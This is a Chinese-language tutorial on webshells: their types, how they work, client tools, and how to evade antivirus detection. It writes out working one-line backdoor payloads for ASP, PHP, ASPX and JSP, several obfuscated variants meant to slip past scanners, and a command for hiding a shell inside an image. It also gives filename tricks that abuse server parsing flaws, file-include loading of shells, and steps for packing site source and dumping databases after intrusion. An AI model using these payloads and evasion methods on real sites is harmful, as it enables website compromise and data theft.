Webshell工作原理

WEBSHELL基本类型

1. 一句话木马

2. 小马

3. 大马

4. 打包马

5. 脱裤马等

WEBSHELL工作原理

一句话木马

一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用

<%execute request("value")%>

工作原理

类似如下代码插入脚本文件中：

<%execute request("value")%>   

使用execute函数，其中value是接受变量，request用来获取这个值

<%eval request("value")%>

比较多见的，而且字符少，对表单字数有限制的地方特别的实用

一句话木马，它是基于B/S结构的

常见写法

asp一句话木马：
<%eval request("c")%>

php一句话木马：
<?php @eval($_POST[value]);?>

aspx一句话木马：
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

jsp一句话
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>   

小马

小马体积小，容易隐藏，隐蔽性强，最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行，不过功能少，一般只有上传等功能。主要用来上传大马

大马

大马体积比较大，一般50K以上。功能也多，一般都包括提权命令，磁盘管理，数据库连接借口，执行命令甚至有些以具备自带提权功能和压缩，解压缩网站程序的功能。这种马隐蔽性不好，而大多代码如不加密的话很多杀毒厂商开始追杀此类程序

用途：

1. 提权

2. 打包

3. 脱裤

4. 增删文件

WEBSHELL常见客户端

• 哥斯拉

• 冰蝎

• 蚁剑

• 天蝎

WEBSHELL免杀技巧

1. 内容编码

2. 制作图片马

3. 配合解析漏洞

4. 配合文件包含

内容编码

<?php $_REQUEST['a']($_REQUEST['b']); ?>
<%Eval(Request(chr(112)))%>
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("xindong"))%>
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>
<%a=request("gold")%><%eval a%>
<?php ($_=@$_GET[2]).@$_($_POST[sz])?>
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?>
<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?>
<?php $a = "a"."s"."s"."e"."r"."t";  $a($_POST["sz"]); ?>
在菜刀里写http://localhost:8081/test/a.php?2=assert密码是sz

一句话图片马的制作

copy /b 1.jpg+1.asp 2.jpg

其他工具直接插入

配合解析漏洞

上传图片格式配置解析漏洞拿shell

x.asp/x.jpg
x.cer
x.asa
x.php.xxx
x.jpg/.php

文件包含拿shell

将大马保存为2.jpg 将文件包含代码保存为x.asp
内容：
<!--#include file="2.jpg"-->
一并上传到同目录下，访问x.asp即可。

php包含代码如下，使用方法相同。
<?=include '2.jpg'?>
保存为x.php

WEBSHELL各种踩法

找shell后门

查找webshell后门
找到后门地址
反搞webshell箱子

Webshell密码爆破

利用xss平台给大马留后门

源码的打包

命令行调用 RAR 打包：

rar a -k -r -s -m3 c:\1.rar c:\folder

用途：打包源码 打包任意文件（数据库）

注意：rar文件路径 符号问题（""）

各种（asp/aspx/php/）打包马的使用

数据的获取

常见网站数据库类型

1. Access、sqlserver、mysql、oracle、

数据库允许外部地址链接

1. 上传数据库管理脚本

2. 使用数据库远程管理软件（nvcat、sqlserver连接器等）

数据库不允许外部地址链接

1. 上传数据库管理脚本

2. sqlmap

3. burp

4. 中国菜刀数据库管理